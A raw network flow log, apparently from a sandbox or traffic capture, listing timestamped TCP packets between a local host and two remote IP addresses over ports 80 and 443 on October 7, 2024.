Oct 7, 2024 21:18:42.790245056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790385008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790416956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790441036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790451050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790466070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790484905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790503979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790518045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790529013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790549994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790560007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790584087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790606022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790621042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790621996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790668011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.790941000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.790975094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791008949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791037083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791040897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791063070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791075945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791090965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791115999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791150093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791157007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791182995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791215897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791229010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791268110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791270971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791301966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791313887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791337013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791344881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791371107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791383982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791428089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791460991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791467905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791495085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791523933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791529894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791532993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791564941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791596889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791598082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791615009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791632891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791665077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791676998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791698933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791716099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791733027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791740894 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791768074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791802883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.791812897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.791887045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792227983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792277098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792277098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792313099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792340994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792359114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792373896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792392969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792407036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792418957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792457104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792479992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792490959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792498112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792524099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792553902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792557955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792565107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792592049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792624950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792634964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792654037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792686939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792696953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792718887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792736053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792752981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792785883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792797089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792820930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792854071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792865992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792891026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.792903900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.792974949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793101072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793153048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793185949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793186903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793199062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793220997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793252945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793263912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793287039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793293953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793320894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793342113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793355942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793366909 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793390989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793400049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793426037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793436050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793461084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793481112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793494940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793502092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793533087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793565989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793576956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793598890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793632030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793642998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793665886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793672085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793699026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.793741941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.793967009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.794002056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.794015884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.794037104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.794043064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.794125080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.794157982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.794164896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.794193029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.794225931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.794241905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.794260025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.794274092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.794290066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.794301033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.794325113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.794337988 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.794368982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.870769978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.870826960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.870861053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.870877981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.870901108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.870913029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.870945930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.870965004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.870981932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.870999098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871015072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871017933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871052980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871059895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871092081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871125937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871153116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871189117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871242046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871275902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871287107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871311903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871319056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871352911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871474981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871507883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871541977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871558905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871575117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871587038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871613026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871661901 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871699095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871731997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871747017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871767044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871789932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871797085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871812105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871850967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871885061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871900082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.871938944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871972084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.871987104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872004986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872037888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872052908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872071981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872093916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872117043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872231007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872267962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872297049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872315884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872338057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872339010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872370958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872385979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872406006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872438908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872456074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872472048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872479916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872524977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872689962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872723103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872744083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872756958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872765064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872792006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872801065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872827053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872859955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872879982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872895956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872908115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872929096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872946978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.872965097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.872976065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.873002052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.916142941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.921098948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.017050982 CEST	443	49877	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.017596960 CEST	49877	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.017632008 CEST	443	49877	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.018270969 CEST	49877	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.018275976 CEST	443	49877	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.078404903 CEST	443	49878	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.079029083 CEST	49878	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.079041004 CEST	443	49878	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.079447031 CEST	49878	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.079451084 CEST	443	49878	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.085768938 CEST	443	49879	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.086824894 CEST	49879	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.086863041 CEST	443	49879	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.087450027 CEST	49879	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.087460995 CEST	443	49879	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.098557949 CEST	443	49880	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.099050999 CEST	49880	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.099066019 CEST	443	49880	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.099458933 CEST	49880	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:43.099466085 CEST	443	49880	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:43.106021881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106086016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106102943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106122971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106129885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106174946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106194019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106229067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106262922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106276989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106297016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106301069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106338978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106353045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106400967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106435061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106442928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106471062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106503963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106514931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106540918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106586933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106662989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106697083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106714010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106731892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106741905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106767893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106791019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106801987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106813908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106837034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106879950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106918097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106952906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106961966 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.106986046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.106993914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107021093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107042074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107069016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107078075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107111931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107125044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107147932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107192993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107198954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107233047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107265949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107268095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107290983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107300997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107305050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107347965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107351065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107409954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107419968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107453108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107459068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107487917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107522011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107533932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107556105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107564926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107590914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107628107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107637882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107661963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107671976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107702017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107734919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107734919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107749939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107773066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107779026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107805967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107841015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107846022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107875109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107887030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107925892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:43.107929945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:43.107976913 CEST	80	49810	95.164.90.97	192.168.2.5
